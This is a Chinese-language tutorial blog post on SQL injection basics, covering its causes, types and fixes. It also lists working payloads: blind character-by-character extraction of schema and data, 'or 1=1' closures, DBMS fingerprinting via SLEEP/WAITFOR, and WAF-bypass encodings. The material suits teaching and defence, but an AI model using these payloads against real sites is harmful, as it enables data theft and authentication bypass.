【红队攻防】SQL注入利用链之基础

Posted by 0nlyuAar0n on 2021-08-15
Estimated Reading Time 16 Minutes
Words 4.1k In Total
Viewed Times

昨夜西风凋碧树。独上高楼,望尽天涯路。

SQL注入基础

1. SQL注入原理

什么是sql

​ SQL是一门ANSI的标准计算机语言,用来访问和操作数据库系统。用于增删改查数据库中的数据
​ sql可以与数据库程序协同工作,常见的数据库如:

  • MS Access
  • DB2
  • infomix
  • MS SQL Server
  • Mysql
  • Oracle
  • postgresql

​ 虽然存在很多不同版本的SQL语言,但为了与ANSI标准相兼容,必须以相似的方式共同支持一些主要关键词(如select、update、delete、insert、where等)。

SQL语句常见操作方式

select 查询数据

在网站应用中进行数据显示查询操作
例:

1
select * from news where id=$id

insert 插入数据

在网站应用中进行用户注册添加等操作
例:

1
insert into news(id,url,text) values(2,'x','$t')

delete 删除数据

后台管理里面删除文章删除用户等操作
例:

1
delete from news where id=$id

update 更新数据

会员或后台中心数据同步或缓存等操作
例:

1
update user set pwd='$p' where id=2 and username='admin'

order by 排序数据

一般结合表名或列名进行数据排序操作
例:

1
2
select * from news order by $id

例:

1
select id,name,price from news order by $order

注:

  • 可通过以上查询方式与网站应用的关系
  • 注入点产生地方或应用猜测到对方的SQL查询方式
  • 只要存在前后台交互的地方都可能存在注入漏洞

什么是sql注入

​ SQL注入攻击,是由于程序对用户的操作输入未进行正确或不严格的检查过滤,用户通过操作输入修改SQL语句,将用户的输入/payload以拼接的方式带入SQL语句中,并被SQL引擎解析成SQL代码,再将这些语句传递给后端的数据库执行,从而引发实际执行的语句与预期执行的语句不一样,达到攻击目的的技术。

注入条件

  1. 参数用户可控:用户可控的前后端参数传递

如: input标签传递到后端java MyBatis处理参数可控。

  1. 参数带入数据库操作:参数未限制输入,直接拼接入数据库操作
1
2
$id = $_REQUEST[ 'id' ];
$query = "SELECT * FROM user WHERE username = '$id'"

这里$id可控,可通过用户输入修改sql语句逻辑,即可达到攻击母的。

ps: 这里造成SQL注入漏洞原因有两个:一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)

注入点

  • 认证页面
  • 搜索页面
  • Post请求
  • Get请求
  • HTTP头部
  • Cookie
  • 边缘输入点

危害:

  • 泄露系统中的敏感信息。
  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。作为数据的存储中心,数据库里往往保存着各类的隐私信息,SQL注入攻击能导致这些隐私信息透明于攻击者。
  • 网页篡改:通过操作数据库对数据内容被篡改、特定网页进行篡改。
  • 登录认证被绕过
  • 其他,例如服务器上的文件被读取或修改/服务器上的程序被执行、数据破坏、挂马攻击、服务器被控制等。

常见的修复方案

  1. 黑/白名单过滤、关键字替换、过滤
  2. 预编译、绑定变量
  3. 输入输出转义
  4. 参数化查询
  5. 安全机制防御
    • RASP
    • WAF
    • 安全函数

注入流程

注入点检测–>>DBMS标识–>>构造相应payload–>>信息利用/提权/执行命令/横向移动/数据泄露/持久等

2. SQL注入的基本分类

参数类型分类

数字型注入:输入参数为整型时,如Id、年龄和手机号等;

字符型注入:输入参数为字符串型时,如姓名、公司、住址等;

最大的区别: 字符型注入一般要使用单引号进行闭合,而数字型注入则不需要。

注入点分类

GET注入:注入字符在URL参数中;

POST注入:注入字段在POST提交的数据中;

Cookie注入:注入字段在Cookie数据中,网站使用通用的防注入程序,会对GET、POST提交的数据进行过滤,却往往遗漏Cookie中的数据进行过滤。

HTTP头部注入:HTTP请求的其他内容触发的SQL注入漏洞。

搜索注入: 指在进行数据搜索时没过滤搜索参数,一般在链接地址、搜索框中。

其他:认证页面、万能密码等。

结果反馈分类

非盲注

非盲注入(正常SQL注入):执行注入SQL语句将敏感信息展示出来,并进行进一步的操作。

盲注

盲注是指获取的数据不能回显至前端页面,不会存在任何数据库报错内容,此时就需要利用一些方法进行判断或尝试,这个过程称之为盲注

它是依据构造真或假的问题对数据库进行“提问”,注入方式主要有两种:基于布尔值与基于时间

盲注一般结合工具进行,纯手工难度大。

基于布尔值

简而言之,就是根据页面回显的不同来判断。

如:

MySQL中判断数据名长度的输入payload

1
1' and length(database()) = 10 #

此时,可通过相应页面返回的正确与否来判断and后面的值是否为真,数据库名的长度是否为10。

如何获取每一个数据?

利用MySQL自带函数进行提取,如substring()、mid()、subst()、left(),、right()、substring_index()等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# --------------------利用ASCII码猜解当前数据库名称
and (ascii(substr(database(),1,1)))=115--+ #返回正常,说明数据库名称第一位是s
and (ascii(substr(database(),2,1)))=101--+ # 返回正常,说明数据库名称第二位是e
# --------------------猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+ # 返回正常,说明数据库表名的第一个的第一位是e
# ---------------------猜字段名
and (ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)))=102--+ # 返回正常,说明表中的列名称第一位是f
# ---------------------猜内容
and (ascii(substr(( select 字段名 from 表名 limit 3,1),1,1)))=122--+ # 返回正常,说明第四列第一位是122,122等于z

# ---------------------substring()、mid()、subst()
select substring("123",2,1),mid("adcde",1,1),substr("12345",1,1);

| substring("123",2,1) | mid("adcde",1,1)| substr("12345",1,1) |
| :-------------------------| ----------------------:| :----------------------: |
| 2 | a | 1 |

字符串截取:substring_index(str,delim,count)

  • 截取第二个 ‘.’ 之前的所有字符。
1
2
3
4
5
6
mysql> select substring_index('www.example.com', '.', 2);
+------------------------------------------------+
| substring_index('www.example.com', '.', 2) |
+------------------------------------------------+
| www.example |
+------------------------------------------------+
  • 截取第二个 ‘.’ (倒数)之后的所有字符。
1
2
3
4
5
6
mysql> select substring_index('www.example.com', '.', -2);
+-------------------------------------------------+
| substring_index('www.example.com', '.', -2) |
+-------------------------------------------------+
| example.com |
+-------------------------------------------------+
  • 如果在字符串中找不到 delim 参数指定的值,就返回整个字符串
1
2
3
4
5
6
mysql> select substring_index('www.example.com', '.coc', 1);
+---------------------------------------------------+
| substring_index('www.example.com', '.coc', 1) |
+---------------------------------------------------+
| www.example.com |
+---------------------------------------------------+
基于时间

在某些情况下,页面回显的内容一致,需借助其他手段来SQL注入判断,如服务器执行SQL语句所需要的时间。

基于时间的SQL盲注方式,通常是在SQL语句中添加延时函数,如通过sleep()函数,利用IF条件或ADN、OR函数的短路特性和SQL执行的时间来判断是否存在SQL注入。(实战于4.2介绍)

常用的延时函数或指令有sleeprepeat等。

其他类型

延时注入: 使用延时函数方式。

宽字节注入: 设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。

编码注入: 将输入的字符串进行编码,如base64、urldecode、base64_decode等。

报错注入: 由于开启错误调试信息,导致可看到语句执行后的报错信息输出,从而引发sql注入。

DNSLOG注入: 在注入无回显时,利用MySQL数据库的 LOAD_FILE() 读取文件的函数去拼接查询结果并访问用于拼接的dns平台,然后通过平台去进行查看接收到的数据。

堆查询注入: 同时执行多条语句。

联合查询注入: 使用union语句合并两条或多条SQL语句。

多阶注入: 由多个HTTP请求响应共同完成的注入。

二次注入: 根本问题是,开发者信任数据库中取出的数据是无害的。payload拼接进行SQL注入,在全局过滤后入库时,进行了转义,入库后,转义符会消失,这个时候出库被带入到其他SQL语句就会引入payload导致注入。

XFF注入: X- Forwarded-For头带入数据操作时,参数由用户可控,传递中存在SQL注入。

存储过程: 存储过程包含参数,在参数传递中存在SQL注入。


注入技巧使用优先级:

UNION注入>报错注入>布尔盲注>时间盲注

其他注入通常需要结合其他技巧使用才能获取数据

3. 常用函数及变量

常用的字符串/系统函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@@datadir		#数据库路径
@@version_compile_os #操作系统版本
DATABASE() #返回当前数据库名
USER()或SYSTEM_USER() #返回当前登陆用户名
VERSION() #返回数据库的版本

SLEEP(n) #休眠n秒
ASCII(char) #返回字符的ASCII码值
ord() #返回字符串第一个字符的ASCII值
char() # 返回整数ASCIId
mid() #返回一个字符串的一部分
SELECT MID('字符串', 起始位置, 截取长度)
length() #函数 返回字符串长度
substr() #函数 截取字符串 语法:(substr(string,start,leng)
if(ex1,ex2,ex3) #判断语句,如果ex1正确,执行ex2,错误执行ex3

left() #返回字符串最左边的几个字符
floor() # 返回小于或等于x的最大整数
rand() #返回01之间的一个随机数

字符串连接函数

1
2
3
4
GROUP_CONCAT(str1,str2,...))     # 返回由属于一组的列值连接组合而成的结果
concat(str1,str2,...) #没有分隔符的连接字符串
concat_ws(separator,str1,str2,...) #含有分隔符的连接字符串

SQL判断语句:

1
2
3
4
5
6
7
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

PHP

PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。这些超全局变量是:

1
2
3
4
5
6
7
8
9
10
11

$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST (获取POST传参)
$_GET (获取GET的传参)
$_COOKIE (获取COOKIE的值)
$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
$_SERVER功能
常用的:
$_SERVER['HTTP_HOST'] 请求头信息中的Host内容,获取当前域名。
$_SERVER["HTTP_USER_AGENT"] 获取用户相关信息,包括用户浏览器、操作 系统等信息。
$_SERVER["REMOTE_ADDR"] 浏览网页的用户ip。

Bypass常用简记:

详细另开一篇来说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
-- and /or过滤
or ——> ||
and ——> &&
xor ——> |
not ——> !

-- urlencode,ascii(char),hex,unicode等编码绕过
-- unicode编码举例:
-- 单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
-- 注释符
/**/
%23
--+
/*!50000union*/
-- 空白符
%09,%0a,%0b,%0c,%0d,%20,%a0


-- 双写
selselectect
uniunionon

-- 等价函数或变量
hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

--------------------
-- 关于waf
常见绕过手法:
大小写绕过 (很老的WAF才有用)
替换绕过 (很老的WAF才有用)【和上传文件那个pphphp一样】
特殊字符绕过 (%0a换行)``
编码绕过 (比如会多次解码的东西,例如我们DOM XSS绕狗那个)
等价替换 (利用其它函数替代)[union #%0aselect 拦截][union all #%0aselect 不拦截]
容器特性(例如Apace的Hpp,或者是IIS的%分割)
白名单(管理员权限或者是127.0.0.1本地访问不拦截)
缓冲区 (数据太多了,超出了WAF检测的范围)
........

4. SQL注入点判断

常规手法

注入存在多种检测方式,最简单无外乎在各种参数后添加,从而来通过服务器返回的数据响应报错信息来分析。

通过应用程序的报错触发及布尔逻辑,可以轻松判断易受攻击的参数。

注入简记

描述 语句
逻辑测试 page.asp?id=1 or 1=1 – true page.asp?id=1’ or 1=1 – true page.asp?id=1" or 1=1 – true page.asp?id=1 and 1=2 – false
算术 product.asp?id=1/1 – true product.asp?id=1/0 – false
基于盲注: 检测盲注可能需要识别或猜测DBMS, 并检查以找到适当的时间函数。 Mysql:
*SELECT IF(user() LIKE 'root@%', SLEEP(5), null)
*Oracle:
SELECT CASE WHEN (SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%11.2%')=1 THEN (SELECT count(*) FROM all_users a, all_users b, all_users c, all_users d) ELSE 0 END FROM dual
SQL Server

*IF exists(SELECT @@version where @@version like '%12.0.2000.8%') WAITFOR DELAY '00:00:02'*
基于错误: 注意:使用无效语法的逻辑测试和算术 也可能会导致错误。 Mysql:
*SELECT extractvalue(rand(),concat(0x3a,(select version())))
*Oracle:
SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual
SQL Server

*SELECT convert(int,(SELECT @@version)) '*

时间注入判断法

<待补充实战>

批量判断法

  • SQLMAP
  • sqliv
  • sqlmapapi.
  • URL参数批量提取去重后再结合漏洞扫描工具

5. SQL注入常见注释符

常规注释:

SQL 语句注释方法有/* */-- (空格)# 三种

php中的注释符:

  • //
  • /*...*/
  • #

JavaScript中的注释符:

  • //
  • /*...*/

html中的注释符:

  • <!--内容-->

MySQL中的注释符:

  • #

  • 内联注释/*...*/
    在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行

  • --空格

  • --+

    • --(空格)一般不能直接使用,因为只使用--(空格)的时候无法对sql语句进行闭合,在传输过程中空格会被忽略,导致无法注释,所以需要需要+或是%20*(把空格转换未urlencode编码格式)*来对其进行闭合完成注入语句。
    • +会被解析成空格; --是SQL的注释标记,使用时后面的一切字符串都会比当做注释忽略掉

    postgersql注释符号也是–+

Mssql 注释

操作 备注
-- SQL注释
; 00% 空字节
/ * C语言风格注释

Oracle注释

  • 单行注释符号是--

  • 多行注释符号/**/

URL中#&+解释:

#说明

#的涵义

HTTP请求不包括 #

  • #是用来指导浏览器动作的,对服务器端完全无用。所以,HTTP请求中不包括#

#后的字符

  • 在第一个#后面出现的任何字符,都会被浏览器解读为位置标识符。这意味着,这些字符都不会被发送到服务器端

?说明

连接作用

  • 通过来带参数,连接域名和参数,经常会用到。

清除缓存

1
2
http://www.xxxxx.com/index.html
http://www.xxxxx.com/index.html?test123123
  • 两个url打开的页面一样,但是后面这个有问号,说明不调用缓存的内容,而认为是一个新地址,重新读取。因为在做http请求的时候,如果浏览器检测到你的地址完全没变,会从缓存里读取先前请求过的数据,不再发送请求。有些时候是页面资源的加载,有些时候是API的get请求,都有可能。加上这个,会让浏览器认为这是一个新的地址,从而保证重新获取资源。

&说明

不同参数的间隔符

  • http://www.xxx.com/Show.asp?id=77&nameid=2905210001&page=1

+说明

+在URL 中会被认为是空格,所以--+--空格在sql中都有注释的意思

参考链接:

  1. https://mp.weixin.qq.com/s/p_NHl975fhjUMlx5LKxRHw
  2. https://mp.weixin.qq.com/s/L5RuWT7V9q4b6OZwfdscjg
  3. https://www.cnblogs.com/xiaozi/p/5538380.html

-------------------------------------------------------------------------------- If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !